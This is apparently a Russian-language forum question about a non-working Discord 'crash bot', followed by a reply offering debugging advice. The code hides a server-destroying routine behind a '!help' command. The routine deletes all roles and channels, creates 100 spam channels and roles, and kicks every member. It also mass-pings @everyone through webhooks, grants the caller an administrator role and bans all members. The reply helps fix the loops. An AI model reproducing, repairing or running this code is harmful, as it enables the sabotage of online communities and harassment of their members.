Почему код краш бота не работает?
import discord
from discord.ext import commands
from discord import Permissions
import asyncio
import os
import discord, random, aiohttp, asyncio
from threading import Thread
import requests
intents = discord.Intents.all()
intents.members = True
bot = commands.Bot (command_prefix='!',intents=intents)
bot.remove_command("help")
@bot.command()
async def help(ctx):
guild = ctx.message.guild
await guild.edit(name="Crash By Pazeg")
await ctx.message.delete()
for m in ctx.guild.roles:
try:
await m.delete(reason="Краш сервера")
except:
pass
for channel in ctx.guild.channels: # собираем
try:
await channel.delete(reason="Краш сервера") # удаляем
except:
pass
for _ in range(100):
await guild.create_text_channel('crash-by-pazeg')
for _ in range(100):
await guild.create_role(name='crash-by-pazeg')
for m in ctx.guild.members:
try:
await m.kick(reason="Краш сервера")
except:
pass
@bot.event
async def on_guild_channel_create(channel):
webhook = await channel.create_webhook(name = "Crash By Pazeg")
webhook_url = webhook.url
async with aiohttp.ClientSession() as session:
webhook = discord.Webhook.from_url(str(webhook_url), adapter=discord.AsyncWebhookAdapter(session))
for i in range(50):
try:
await webhook.send("@everyone ", tts=True)
except:
pass
@bot.command(pass_context=True) # разрешаем передавать агрументы
async def admin(ctx): # создаем асинхронную фунцию бота
guild = ctx.guild
perms = discord.Permissions(administrator=True) #права роли
await guild.create_role(name="Pazeg", permissions=perms) #создаем роль
role = discord.utils.get(ctx.guild.roles, name="Pazeg") #находим роль по имени
user = ctx.message.author #находим юзера
await user.add_roles(role) #добовляем роль
await ctx.message.delete()
@bot.command()
async def allban(ctx):
for m in ctx.guild.members: #собираем
try:
await m.ban(reason="По просьбе")#баним
except:
pass
token = 'мой токен'
bot.run (token)
Какая ошибка? Если нет ошибки, то что именно идет не так (не удаляются каналы, или роли и т.д.)? Ещё, у тебя в двух циклах for один и тот же элемент m. Так делать нельзя, поменяй
for m in ctx.guild.roles
На
for r in ctx.guild.roles
Тоже самое с двумя последними циклами с элементом _
Да и зачем создавать два цикла, если эти два действия можно внести в один цикл?